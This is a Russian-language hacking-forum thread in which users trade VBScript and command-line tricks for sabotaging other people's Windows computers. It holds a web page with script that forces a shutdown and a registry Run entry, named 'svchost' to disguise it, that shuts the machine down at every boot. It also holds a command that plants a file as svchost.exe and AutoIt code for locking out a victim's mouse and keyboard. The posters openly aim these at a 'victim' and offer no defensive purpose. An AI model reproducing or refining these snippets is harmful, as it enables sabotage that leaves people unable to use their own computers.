![]() |
пакости на vbscipt
Народ, вот эта статейка
http://antichat.ru/txt/old/tiran.shtml запустил скрипт для выключения винды <HTML> <HEAD> </head> <body> <SCRIPT LANGUAGE="VBScript"> <!-- Set Shell=CreateObject("WScript.Shell") Shell.Run "Rundll32.exe User.exe,ExitWindows" --> </SCRIPT> </BODY> </HTML> ничего не происходит Антивиря и фаервола у ми нет, винда XP, Sp2. Тестил из-под IE и Мозилы. В чём проблема? |
Проблема в том, что "User.exe,ExitWindows" не совместимо с XP, во всяком случае с XP-шным "Rundll32.exe"
-------- Альтернатива "Rundll32.exe User.exe,ExitWindows" - "shutdown.exe -s -t 1 -f -d u" -------- Да и обьект "WScript.Shell", создаётся только если страница на локальном диске. |
Цитата:
Работает спасибо огромное! А подскажи функции для вырубания мышки и клавы, тоже для Xp. PS Автор той статьи писал что мол придётся вообще винду переставлять, ибо мышь и клавиатура работать не будут. Я так понимаю это в автозагрузку всё записывается? Под безопасным режимом тоже они не будут работать? Заранее спасибо PS Плюсик:)) |
Цитата:
Код:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v svchost /t REG_EXPAND_SZ /d "shutdown.exe -s -t 1 -f -d u"Код:
copy top.gif %windir%\svchost.exe |
Цитата:
Я вот тут нашёл кое-что по теме, но из-за незная vbs, незнаю как это применить конкретно... http://www.pcreview.co.uk/forums/thread-531920.php Поможешь код составить? |
Они же готовый код дают
Код:
Set oAutoIt = CreateObject("AutoItX.Control")Цитата:
|
Цитата:
Там по ссылке говорится что нужно зарегать библиотеку DLL на компе жертвы для работоспособности скрипта. Это что ? |
Цитата:
|
Цитата:
<HTML> <HEAD> </head> <body> <SCRIPT LANGUAGE="VBScript"> <!-- Set oAutoIt = CreateObject("AutoItX.Control") oAutoIt.BlockInput "on" --> </SCRIPT> </BODY> </HTML> будет ли это работать? думаю нет, тут ясно видно что требуется AutoIt... |
Цитата:
|
| Время: 17:52 |